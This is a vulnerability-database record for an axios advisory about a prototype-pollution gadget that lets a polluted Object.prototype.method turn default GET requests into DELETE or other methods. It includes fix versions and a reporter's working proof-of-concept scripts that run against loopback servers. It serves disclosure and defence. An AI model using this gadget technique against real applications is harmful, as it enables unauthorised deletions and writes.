{"id":"CVE-2026-101902","kind":"vulnerability","aliases":["CVE-2026-101902","GHSA-9fr6-4gfg-395g"],"related":[],"title":"Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method","description":"## Summary\r\n\r\nAxios default-instance requests that omit an explicit method can read an inherited `method` value from `Object.prototype`. If another vulnerability in the same process pollutes `Object.prototype.method`, calls such as `axios.request({ url })` and `axios({ url })` can send a state-changing HTTP method instead of the expected default `GET`.\r\n\r\nAxios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch.\r\n\r\n## Impact\r\n\r\nIn an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit `method` from `GET` to methods such as `DELETE`, `POST`, `PUT`, or `PATCH`. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes.\r\n\r\nMethod aliases such as `axios.get(url)` and requests with an explicit own `method` are not affected by the confirmed method path.\r\n\r\n## Affected Functionality\r\n\r\nAffected:\r\n\r\n- Default axios instance calls: `axios.request({ url })`.\r\n- Callable shorthand: `axios({ url })`.\r\n- Requests where no own `config.method` is provided.\r\n\r\nNot affected in the confirmed method PoC:\r\n\r\n- `axios.get(url)` and other method aliases.\r\n- `axios.request({ url, method: 'GET' })`.\r\n- `axios.create().request({ url })` when the created instance defaults are produced by current `mergeConfig()` and do not inherit from `Object.prototype`.\r\n\r\n## Technical Details\r\n\r\n`lib/core/Axios.js` sets the request method with:\r\n\r\n```js\r\nconfig.method = (config.method || this.defaults.method || 'get').toLowerCase();\r\n```\r\n\r\n`mergeConfig()` now returns a null-prototype request config, so `config.method` is safe from `Object.prototype`. However, the default axios instance stores the module defaults object as `this.defaults`, and that defaults object is a normal object. If `Object.prototype.method` exists, `this.defaults.method` resolves to the polluted inherited value.\r\n\r\nLocal verification on axios `1.18.1` showed a default-instance `axios.request({ url })` request reaching a loopback server as `DELETE` after `Object.prototype.method = 'DELETE'`.\r\n\r\n## Proof of Concept of Attack\r\n\r\nConstrained local demonstration:\r\n\r\n```js\r\nObject.prototype.method = 'DELETE';\r\ntry {\r\n  await axios.request({ url: 'http://127.0.0.1:<port>/resource' });\r\n} finally {\r\n  delete Object.prototype.method;\r\n}\r\n```\r\n\r\nExpected safe behavior is a `GET` request. Current affected behavior sends `DELETE` on the default instance when no method is provided.\r\n\r\n## Workarounds\r\n\r\nUse explicit method aliases such as `axios.get()` or set an own `method` on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.\r\n\r\n<details>\r\n  <summary><h3>Original report</h3></summary>\r\n  \r\n### Summary\r\n\r\nAxios `1.17.0` contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes `Object.prototype.method`, default-instance calls such as `axios.request({ url })` and `axios({ url })` can be forced to use an attacker-controlled HTTP method, such as `DELETE`, instead of the expected default `GET`.\r\n\r\nAxios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from `this.defaults` without an own-property guard, allowing inherited values from `Object.prototype` to influence request behavior.\r\n\r\nThis should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to `Object.prototype`; Axios is the component that becomes dangerous after `Object.prototype` has already been polluted by another bug in the same process.\r\n\r\n### Details\r\n\r\nThe vulnerable fallback read is in `lib/core/Axios.js`:\r\n\r\n```js\r\n// Set config.allowAbsoluteUrls\r\nif (config.allowAbsoluteUrls !== undefined) {\r\n  // do nothing\r\n} else if (this.defaults.allowAbsoluteUrls !== undefined) {\r\n  config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;\r\n} else {\r\n  config.allowAbsoluteUrls = true;\r\n}\r\n\r\n// Set config.method\r\nconfig.method = (config.method || this.defaults.method || 'get').toLowerCase();\r\n```\r\n\r\nThe merged request `config` is created as a null-prototype object in `lib/core/mergeConfig.js`:\r\n\r\n```js\r\nconst config = Object.create(null);\r\n```\r\n\r\nTherefore, when the caller does not provide `config.method`, the fallback becomes:\r\n\r\n```js\r\nthis.defaults.method\r\n```\r\n\r\nThe default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from `Object.prototype`. If `Object.prototype.method` is polluted, `this.defaults.method` resolves to that inherited value and Axios uses it as the request method.\r\n\r\nThe same unsafe inherited-property pattern also affects `this.defaults.allowAbsoluteUrls`, which can change how absolute URLs are combined with `baseURL`.\r\n\r\n### Proof of Concept\r\n\r\n#### Access and Attack Conditions\r\n\r\nNo admin access is required for Axios itself. This is a library-level gadget.\r\n\r\nThe attacker must have an existing way to pollute `Object.prototype` in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior.\r\n\r\nRequired condition:\r\n\r\n```text\r\nSome other bug or unsafe merge path in the application must allow Object.prototype pollution.\r\n```\r\n\r\nWhat Axios contributes:\r\n\r\n```text\r\nAxios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.\r\n```\r\n\r\nWhat Axios does not do:\r\n\r\n```text\r\nAxios does not create Object.prototype pollution by itself.\r\n```\r\n\r\nAffected usage:\r\n\r\n```js\r\naxios.request({ url });\r\naxios({ url });\r\n```\r\n\r\nNot affected in the confirmed PoC:\r\n\r\n```js\r\naxios.get(url);\r\naxios.request({ url, method: \"GET\" });\r\naxios.create().request({ url });\r\n```\r\n\r\n#### Reproduction Steps\r\n\r\n1. Create a clean test directory and install Axios `1.17.0`:\r\n\r\n```powershell\r\nmkdir axios-validation\r\ncd axios-validation\r\nnpm init -y\r\nnpm install axios@1.17.0 --no-audit --no-fund\r\n```\r\n\r\n2. Save the method override PoC below as:\r\n\r\n```text\r\nvalidate-prototype-method-gadget.mjs\r\n```\r\n\r\n3. Run the PoC:\r\n\r\n```powershell\r\nnode validate-prototype-method-gadget.mjs\r\n```\r\n\r\n4. Confirm that the output shows:\r\n\r\n```text\r\ndefaultRequestMethod=DELETE\r\ndefaultShorthandMethod=DELETE\r\ngetAliasMethod=GET\r\nexplicitGetMethod=GET\r\ncreatedInstanceMethod=GET\r\nRESULT: CONFIRMED\r\n```\r\n\r\n5. This proves that after `Object.prototype.method = \"DELETE\"`, default-instance calls that omit an explicit method are sent as `DELETE`.\r\n\r\n#### What the Method PoC Script Does\r\n\r\nThe PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:\r\n\r\n```js\r\nObject.prototype.method = \"DELETE\";\r\n```\r\n\r\nWhile that pollution is active, the script sends five Axios requests:\r\n\r\n```js\r\naxios.request({ url });                 // expected vulnerable path\r\naxios({ url });                         // expected vulnerable shorthand path\r\naxios.get(url);                         // expected safe alias path\r\naxios.request({ url, method: \"GET\" });  // expected safe explicit-method path\r\naxios.create().request({ url });        // expected safe isolated-instance path\r\n```\r\n\r\nThe script then deletes the polluted property:\r\n\r\n```js\r\ndelete Object.prototype.method;\r\n```\r\n\r\nFinally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends `DELETE` for `axios.request({ url })` and `axios({ url })`, while the safe comparison paths still send `GET`.\r\n\r\n#### Method Override PoC\r\n\r\nCreate `validate-prototype-method-gadget.mjs`:\r\n\r\n```js\r\nimport http from \"node:http\";\r\nimport axios from \"axios\";\r\n\r\nasync function listen(server) {\r\n  await new Promise((resolve) => server.listen(0, \"127.0.0.1\", resolve));\r\n  return server.address().port;\r\n}\r\n\r\nasync function runRequest(label, requestFn) {\r\n  const hits = [];\r\n  const server = http.createServer((req, res) => {\r\n    hits.push({\r\n      method: req.method,\r\n      url: req.url,\r\n    });\r\n    res.writeHead(200, { \"content-type\": \"application/json\" });\r\n    res.end(JSON.stringify({ ok: true }));\r\n  });\r\n\r\n  const port = await listen(server);\r\n  const url = `http://127.0.0.1:${port}/${label}`;\r\n\r\n  let status = \"completed\";\r\n  let error = \"\";\r\n  try {\r\n    await requestFn(url);\r\n  } catch (err) {\r\n    status = \"error\";\r\n    error = err?.message || String(err);\r\n  }\r\n\r\n  server.close();\r\n  return { label, status, error, hits };\r\n}\r\n\r\nconst results = [];\r\n\r\nObject.prototype.method = \"DELETE\";\r\ntry {\r\n  results.push(await runRequest(\"default-request-no-method\", (url) => axios.request({ url })));\r\n  results.push(await runRequest(\"default-shorthand-no-method\", (url) => axios({ url })));\r\n  results.push(await runRequest(\"default-get-alias\", (url) => axios.get(url)));\r\n  results.push(await runRequest(\"default-request-explicit-get\", (url) => axios.request({ url, method: \"GET\" })));\r\n\r\n  const instance = axios.create();\r\n  results.push(await runRequest(\"created-instance-request-no-method\", (url) => instance.request({ url })));\r\n} finally {\r\n  delete Object.prototype.method;\r\n}\r\n\r\nconst defaultRequestMethod = results.find((r) => r.label === \"default-request-no-method\")?.hits[0]?.method || \"\";\r\nconst defaultShorthandMethod = results.find((r) => r.label === \"default-shorthand-no-method\")?.hits[0]?.method || \"\";\r\nconst getAliasMethod = results.find((r) => r.label === \"default-get-alias\")?.hits[0]?.method || \"\";\r\nconst explicitGetMethod = results.find((r) => r.label === \"default-request-explicit-get\")?.hits[0]?.method || \"\";\r\nconst createdInstanceMethod = results.find((r) => r.label === \"created-instance-request-no-method\")?.hits[0]?.method || \"\";\r\n\r\nconsole.log(`axiosVersion=${axios.VERSION}`);\r\nconsole.log(`results=${JSON.stringify(results)}`);\r\nconsole.log(`defaultRequestMethod=${defaultRequestMethod}`);\r\nconsole.log(`defaultShorthandMethod=${defaultShorthandMethod}`);\r\nconsole.log(`getAliasMethod=${getAliasMethod}`);\r\nconsole.log(`explicitGetMethod=${explicitGetMethod}`);\r\nconsole.log(`createdInstanceMethod=${createdInstanceMethod}`);\r\n\r\nconst confirmed =\r\n  defaultRequestMethod === \"DELETE\" &&\r\n  defaultShorthandMethod === \"DELETE\" &&\r\n  getAliasMethod === \"GET\" &&\r\n  explicitGetMethod === \"GET\" &&\r\n  createdInstanceMethod === \"GET\";\r\n\r\nconsole.log(confirmed ? \"RESULT: CONFIRMED\" : \"RESULT: NOT CONFIRMED\");\r\nprocess.exitCode = confirmed ? 0 : 1;\r\n```\r\n\r\nRun:\r\n\r\n```powershell\r\nnode validate-prototype-method-gadget.mjs\r\n```\r\n\r\nObserved result:\r\n\r\n```text\r\naxiosVersion=1.17.0\r\ndefaultRequestMethod=DELETE\r\ndefaultShorthandMethod=DELETE\r\ngetAliasMethod=GET\r\nexplicitGetMethod=GET\r\ncreatedInstanceMethod=GET\r\nRESULT: CONFIRMED\r\n```\r\n\r\nThe local server received:\r\n\r\n```text\r\naxios.request({ url })              -> DELETE\r\naxios({ url })                      -> DELETE\r\naxios.get(url)                      -> GET\r\naxios.request({ url, method:\"GET\" }) -> GET\r\naxios.create().request({ url })     -> GET\r\n```\r\n\r\nThis confirms that inherited `Object.prototype.method` controls the default method for vulnerable default-instance request paths.\r\n\r\n#### Supporting `allowAbsoluteUrls` Gadget Evidence\r\n\r\nThe same inherited-property issue affects `allowAbsoluteUrls`.\r\n\r\nCreate `validate-prototype-allowabsoluteurls-gadget.mjs`:\r\n\r\n```js\r\nimport http from \"node:http\";\r\nimport axios from \"axios\";\r\n\r\nasync function listen(server) {\r\n  await new Promise((resolve) => server.listen(0, \"127.0.0.1\", resolve));\r\n  return server.address().port;\r\n}\r\n\r\nasync function runCase(label, requestFn) {\r\n  const baseHits = [];\r\n  const absoluteHits = [];\r\n\r\n  const baseServer = http.createServer((req, res) => {\r\n    baseHits.push({ method: req.method, url: req.url, host: req.headers.host || \"\" });\r\n    res.end(\"base\");\r\n  });\r\n\r\n  const absoluteServer = http.createServer((req, res) => {\r\n    absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || \"\" });\r\n    res.end(\"absolute\");\r\n  });\r\n\r\n  const basePort = await listen(baseServer);\r\n  const absolutePort = await listen(absoluteServer);\r\n\r\n  try {\r\n    await requestFn({\r\n      baseURL: `http://127.0.0.1:${basePort}/api`,\r\n      url: `http://127.0.0.1:${absolutePort}/absolute-path`,\r\n    });\r\n  } catch {}\r\n\r\n  baseServer.close();\r\n  absoluteServer.close();\r\n\r\n  return { label, baseHits, absoluteHits };\r\n}\r\n\r\nconst results = [];\r\n\r\nresults.push(await runCase(\"baseline-no-pollution\", (config) => axios.request(config)));\r\n\r\nObject.prototype.allowAbsoluteUrls = false;\r\ntry {\r\n  results.push(await runCase(\"polluted-default-request\", (config) => axios.request(config)));\r\n  const instance = axios.create();\r\n  results.push(await runCase(\"polluted-created-instance\", (config) => instance.request(config)));\r\n} finally {\r\n  delete Object.prototype.allowAbsoluteUrls;\r\n}\r\n\r\nconsole.log(`axiosVersion=${axios.VERSION}`);\r\nconsole.log(`results=${JSON.stringify(results)}`);\r\n```\r\n\r\nObserved result:\r\n\r\n```text\r\naxiosVersion=1.17.0\r\nbaselineUsedAbsolute=true\r\npollutedDefaultUsedBase=true\r\npollutedInstanceUsedAbsolute=true\r\nRESULT: CONFIRMED\r\n```\r\n\r\nWithout pollution, Axios sends the request to the absolute URL. After `Object.prototype.allowAbsoluteUrls = false`, the default Axios instance combines the absolute URL with `baseURL` and sends the request to the base server instead. An instance created with `axios.create()` remains unaffected.\r\n\r\n### Impact\r\n\r\nThis is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on `Object.prototype` in the same Node.js process.\r\n\r\nIf such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:\r\n\r\n- `axios.request({ url })`\r\n- `axios({ url })`\r\n\r\nThis can turn an expected safe default `GET` request into a state-changing method such as:\r\n\r\n- `DELETE`\r\n- `POST`\r\n- `PUT`\r\n- `PATCH`\r\n\r\nPotential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.\r\n\r\nThe issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as `axios.get()`, or isolated instances created through `axios.create()` are not affected by the confirmed method-override path.\r\n</details>","summary":"Axios reads its default HTTP method from an inherited Object.prototype property when a request omits a method, so a separate prototype-pollution bug in the same process can make calls like axios.request({ url }) send DELETE, POST or PUT instead of GET. Axios does not create the pollution itself; it turns an existing pollution into state-changing requests.","severity":"medium","cvss":6.9,"epss":0.00414,"exploited":false,"exploited_at":null,"products":[{"name":"axios","note":">=0.27.2","fixed":[">=0.34.0"],"affected":">= 0.27.2","ecosystem":"npm"},{"name":"axios","note":">=1.0.0","fixed":[">=1.20.0"],"affected":">= 1.0.0","ecosystem":"npm"},{"name":"axios","fixed":["0.34.0"],"affected":">= 0.27.2, < 0.34.0","ecosystem":"npm"},{"name":"axios","fixed":["1.20.0"],"affected":">= 1.0.0, < 1.20.0","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["axios","backend","cwe-1321","frontend","node.js","npm","package"],"not_affected_if":["created-instance","explicit-method","method-aliases","no-prototype-pollution"],"how_to_check":"- Check the installed axios version with `npm ls axios` and compare it to the fixed ranges below.\n- Search the application for calls to the default instance without a method, such as `axios.request({ url })` or `axios({ url })`.\n- Look for any code path that merges untrusted input into objects with recursive merge or assign, since that is the usual source of prototype pollution.","fix":"- axios `>=0.34.0` for the 0.x line (fixed in `0.34.0`)\n- axios `>=1.20.0` for the 1.x line (fixed in `1.20.0`)","status":"open","published_at":"2026-09-16T09:00:51+00:00","first_seen_at":"2026-11-09T22:53:19+00:00","triaged_at":"2026-11-09T23:00:41+00:00","updated_at":"2026-11-09T23:00:41+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-09T23:00:41Z","model":"claude-haiku-5-5","output":{"fix":"- axios `>=0.34.0` for the 0.x line (fixed in `0.34.0`)\n- axios `>=1.20.0` for the 1.x line (fixed in `1.20.0`)","reach":"unknown","title":"Axios: prototype pollution lets default-instance requests send a different HTTP method","impact":"medium","summary":"Axios reads its default HTTP method from an inherited Object.prototype property when a request omits a method, so a separate prototype-pollution bug in the same process can make calls like axios.request({ url }) send DELETE, POST or PUT instead of GET. Axios does not create the pollution itself; it turns an existing pollution into state-changing requests.","audience":"developers","category":"package","nicknames":[],"who_cares":["npm","axios","node.js","backend","frontend"],"confidence":0.8,"fix_status":"available","needs_auth":"unknown","worst_case":"Requests sent with DELETE or PUT, causing unintended state changes on endpoints","analyst_note":"","how_to_check":"- Check the installed axios version with `npm ls axios` and compare it to the fixed ranges below.\n- Search the application for calls to the default instance without a method, such as `axios.request({ url })` or `axios({ url })`.\n- Look for any code path that merges untrusted input into objects with recursive merge or assign, since that is the usual source of prototype pollution.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["explicit-method","method-aliases","created-instance","no-prototype-pollution"],"who_is_affected":"Applications that use the default axios instance (axios.request or the callable axios shorthand without an explicit method) in a process where Object.prototype can be polluted by some other bug. Calls that pass method explicitly, use method aliases such as axios.get, or use axios.create() instances are not affected by the confirmed path. Teams with no prototype-pollution source in their dependencies or input handling are at low practical risk, but the fix is a version bump.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.001269,"input_tokens":9100,"output_tokens":717,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-101902':19A,27A '-1321':35B '-2026':18A,26A '/resource':395C '1.17.0':456C '1.18.1':361C '127.0.0.1':394C '395g':24A '4gfg':23A '9fr6':22A 'affect':171C,236C,242C,244C,263C,407C 'alias':222C,274C,424C 'allow':10A,537C 'alreadi':589C 'anoth':119C,472C,593C 'applic':172C 'attack':181C,383C,499C,575C 'attacker-control':498C 'avoid':436C 'await':391C 'axio':1A,32B,40B,82B,100C,133C,149C,165C,184C,246C,253C,330C,360C,455C,469C,490C,512C,525C,567C,579C 'axios':28A,29A,30A,31A 'axios.create':279C 'axios.get':225C,269C,427C 'axios.request':72B,130C,249C,275C,367C,392C,487C 'backend':33B 'becom':584C 'behavior':401C,408C,545C 'bug':63B,594C 'call':70B,127C,248C,484C 'callabl':251C 'chang':97B,140C,183C,220C 'compon':571C,582C 'concept':381C 'config':320C,435C 'config.allowabsoluteurls':609C,611C 'config.method':259C,307C,308C,322C 'confirm':239C,266C 'constrain':384C 'contain':457C 'control':500C 'creat':85B,152C,284C,515C 'current':290C,406C 'cve':17A,25A 'cwe':34B 'danger':585C 'default':8A,43B,102C,147C,186C,245C,286C,329C,335C,341C,365C,413C,438C,468C,482C,510C 'default-inst':101C,185C,364C,437C,481C 'delet':75B,198C,216C,375C,378C,389C,397C,410C,505C 'demonstr':386C 'depend':206C 'detail':299C,599C 'dispatch':167C 'els':615C 'endpoint':210C 'exist':92B,349C 'expect':146C,399C,509C 'explicit':108C,231C,422C 'fallback':527C,602C 'final':396C 'forc':494C 'frontend':36B 'function':243C 'gadget':5A,163C,465C,555C 'get':81B,148C,193C,278C,310C,404C,511C 'ghsa':21A 'ghsa-9fr6-4gfg-395g':20A 'guard':536C 'howev':327C 'http':15A,44B,141C,501C 'impact':168C,205C 'includ':213C 'influenc':543C 'inherit':11A,48B,113C,295C,355C,538C 'instanc':9A,103C,187C,247C,285C,331C,366C,414C,439C,470C,483C 'instead':79B,143C,506C 'issu':522C 'js':306C,387C,607C 'let':573C 'lib/core/axios.js':300C,606C 'like':71B 'local':357C,385C 'loopback':372C 'make':69B 'mergeconfig':291C,312C 'method':16A,45B,56B,109C,114C,142C,191C,195C,221C,233C,240C,267C,273C,277C,304C,417C,423C,432C,502C 'modul':334C 'node.js':37B,477C 'normal':345C 'noth':614C 'npm':38B 'null':317C 'null-prototyp':316C 'object':336C,342C,346C 'object.prototype':49B,117C,297C,326C,541C,578C,587C 'object.prototype.method':12A,126C,348C,377C,388C,398C,480C 'omit':54B,106C,190C 'origin':452C 'overrid':14A 'own-properti':533C 'packag':39B 'patch':202C 'path':241C 'poc':268C 'pollut':4A,62B,87B,93B,125C,155C,178C,354C,447C,464C,479C,518C,554C,562C,591C 'possibl':451C 'post':76B,199C 'practic':204C 'primit':179C 'process':67B,124C,444C,478C,598C 'produc':288C 'proof':379C 'properti':50B,535C 'prototyp':3A,61B,154C,177C,318C,446C,463C,517C,553C,561C 'prototype-pollut':2A,60B,176C,462C,552C,560C 'provid':261C,419C 'put':78B,200C 'reach':370C 'read':41B,111C,161C,460C,526C,603C 'read-sid':160C,459C 'report':453C 'request':53B,98B,104C,166C,188C,228C,255C,280C,303C,319C,369C,405C,434C,442C,544C 'resolv':351C 'return':314C 'safe':324C,400C 'send':74B,136C,409C 'separ':59B,175C 'server':373C 'set':301C,429C,608C 'shorthand':252C,440C 'show':362C 'side':162C,461C 'sourc':156C,563C 'standalon':559C 'state':96B,139C,219C 'state-chang':95B,138C 'store':332C 'summari':99C,454C 'suspect':449C 'target':209C 'technic':298C 'this.defaults':338C,530C 'this.defaults.allowa':617C 'this.defaults.method':309C,350C 'tolowercas':311C 'treat':549C 'tri':390C 'turn':90B 'undefin':612C 'unintend':214C 'url':73B,131C,134C,226C,250C,254C,270C,276C,281C,368C,393C,488C,491C 'use':421C,496C 'valu':115C,356C,528C,539C 'verif':358C 'vulner':120C,473C,601C 'without':531C 'word':566C 'workaround':420C 'write':215C,576C","nicknames":[],"mitigations":[],"who_affected":"Applications that use the default axios instance (axios.request or the callable axios shorthand without an explicit method) in a process where Object.prototype can be polluted by some other bug. Calls that pass method explicitly, use method aliases such as axios.get, or use axios.create() instances are not affected by the confirmed path. Teams with no prototype-pollution source in their dependencies or input handling are at low practical risk, but the fix is a version bump.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["axios"],"ptokens":["axios"],"labels":["axios","backend","cwe1321","frontend","medium","nodejs","npm","package"],"campaign_type":null,"search_a":"'-101902':19A,27A '-2026':18A,26A '395g':24A '4gfg':23A '9fr6':22A 'allow':10A 'axio':1A 'axios':28A,29A,30A,31A 'cve':17A,25A 'default':8A 'gadget':5A 'ghsa':21A 'ghsa-9fr6-4gfg-395g':20A 'http':15A 'inherit':11A 'instanc':9A 'method':16A 'object.prototype.method':12A 'overrid':14A 'pollut':4A 'prototyp':3A 'prototype-pollut':2A","search_b":"'-1321':35B 'axio':32B,40B,82B 'axios.request':72B 'backend':33B 'bug':63B 'call':70B 'chang':97B 'creat':85B 'cwe':34B 'default':43B 'delet':75B 'exist':92B 'frontend':36B 'get':81B 'http':44B 'inherit':48B 'instead':79B 'like':71B 'make':69B 'method':45B,56B 'node.js':37B 'npm':38B 'object.prototype':49B 'omit':54B 'packag':39B 'pollut':62B,87B,93B 'post':76B 'process':67B 'properti':50B 'prototyp':61B 'prototype-pollut':60B 'put':78B 'read':41B 'request':53B,98B 'send':74B 'separ':59B 'state':96B 'state-chang':95B 'turn':90B 'url':73B","search_c":"'/resource':395C '1.17.0':456C '1.18.1':361C '127.0.0.1':394C 'affect':171C,236C,242C,244C,263C,407C 'alias':222C,274C,424C 'allow':537C 'alreadi':589C 'anoth':119C,472C,593C 'applic':172C 'attack':181C,383C,499C,575C 'attacker-control':498C 'avoid':436C 'await':391C 'axio':100C,133C,149C,165C,184C,246C,253C,330C,360C,455C,469C,490C,512C,525C,567C,579C 'axios.create':279C 'axios.get':225C,269C,427C 'axios.request':130C,249C,275C,367C,392C,487C 'becom':584C 'behavior':401C,408C,545C 'bug':594C 'call':127C,248C,484C 'callabl':251C 'chang':140C,183C,220C 'compon':571C,582C 'concept':381C 'config':320C,435C 'config.allowabsoluteurls':609C,611C 'config.method':259C,307C,308C,322C 'confirm':239C,266C 'constrain':384C 'contain':457C 'control':500C 'creat':152C,284C,515C 'current':290C,406C 'danger':585C 'default':102C,147C,186C,245C,286C,329C,335C,341C,365C,413C,438C,468C,482C,510C 'default-inst':101C,185C,364C,437C,481C 'delet':198C,216C,375C,378C,389C,397C,410C,505C 'demonstr':386C 'depend':206C 'detail':299C,599C 'dispatch':167C 'els':615C 'endpoint':210C 'exist':349C 'expect':146C,399C,509C 'explicit':108C,231C,422C 'fallback':527C,602C 'final':396C 'forc':494C 'function':243C 'gadget':163C,465C,555C 'get':148C,193C,278C,310C,404C,511C 'guard':536C 'howev':327C 'http':141C,501C 'impact':168C,205C 'includ':213C 'influenc':543C 'inherit':113C,295C,355C,538C 'instanc':103C,187C,247C,285C,331C,366C,414C,439C,470C,483C 'instead':143C,506C 'issu':522C 'js':306C,387C,607C 'let':573C 'lib/core/axios.js':300C,606C 'local':357C,385C 'loopback':372C 'mergeconfig':291C,312C 'method':109C,114C,142C,191C,195C,221C,233C,240C,267C,273C,277C,304C,417C,423C,432C,502C 'modul':334C 'node.js':477C 'normal':345C 'noth':614C 'null':317C 'null-prototyp':316C 'object':336C,342C,346C 'object.prototype':117C,297C,326C,541C,578C,587C 'object.prototype.method':126C,348C,377C,388C,398C,480C 'omit':106C,190C 'origin':452C 'own-properti':533C 'patch':202C 'path':241C 'poc':268C 'pollut':125C,155C,178C,354C,447C,464C,479C,518C,554C,562C,591C 'possibl':451C 'post':199C 'practic':204C 'primit':179C 'process':124C,444C,478C,598C 'produc':288C 'proof':379C 'properti':535C 'prototyp':154C,177C,318C,446C,463C,517C,553C,561C 'prototype-pollut':176C,462C,552C,560C 'provid':261C,419C 'put':200C 'reach':370C 'read':111C,161C,460C,526C,603C 'read-sid':160C,459C 'report':453C 'request':104C,166C,188C,228C,255C,280C,303C,319C,369C,405C,434C,442C,544C 'resolv':351C 'return':314C 'safe':324C,400C 'send':136C,409C 'separ':175C 'server':373C 'set':301C,429C,608C 'shorthand':252C,440C 'show':362C 'side':162C,461C 'sourc':156C,563C 'standalon':559C 'state':139C,219C 'state-chang':138C 'store':332C 'summari':99C,454C 'suspect':449C 'target':209C 'technic':298C 'this.defaults':338C,530C 'this.defaults.allowa':617C 'this.defaults.method':309C,350C 'tolowercas':311C 'treat':549C 'tri':390C 'undefin':612C 'unintend':214C 'url':131C,134C,226C,250C,254C,270C,276C,281C,368C,393C,488C,491C 'use':421C,496C 'valu':115C,356C,528C,539C 'verif':358C 'vulner':120C,473C,601C 'without':531C 'word':566C 'workaround':420C 'write':215C,576C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-09-16T09:00:51+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"ghsa-repo","external_id":"GHSA-9fr6-4gfg-395g","url":"https://github.com/axios/axios/security/advisories/GHSA-9fr6-4gfg-395g","severity":"medium","published_at":"2026-09-16T09:00:51+00:00","modified_at":"2026-09-28T17:17:35+00:00","first_seen_at":"2026-11-09T22:53:19+00:00","fetched_at":"2026-11-09T22:53:19+00:00","note":null},{"source":"ghsa","external_id":"GHSA-9fr6-4gfg-395g","url":"https://github.com/advisories/GHSA-9fr6-4gfg-395g","severity":"medium","published_at":"2026-09-30T15:12:49+00:00","modified_at":"2026-09-30T15:12:50+00:00","first_seen_at":"2026-11-09T22:57:50+00:00","fetched_at":"2026-11-09T22:57:50+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-101902","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101902","severity":null,"published_at":"2026-09-28T18:17:18+00:00","modified_at":"2026-09-30T19:38:27+00:00","first_seen_at":"2026-11-09T23:10:12+00:00","fetched_at":"2026-11-09T23:10:12+00:00","note":null}],"documents":[{"id":110490,"url":"https://github.com/axios/axios/security/advisories/GHSA-9fr6-4gfg-395g","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa-repo","publisher":"vendor","text":null,"published_at":"2026-09-16T09:00:51+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":110839,"url":"https://api.github.com/repos/axios/axios/security-advisories/GHSA-9fr6-4gfg-395g","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":110804,"url":"https://github.com/axios/axios/pull/11141","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":110805,"url":"https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":110807,"url":"https://github.com/axios/axios/releases/tag/v0.34.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":110808,"url":"https://github.com/axios/axios/releases/tag/v1.20.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"disclosures":[],"exploit_sources":[{"type":"epss","score":0.00414,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101902"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}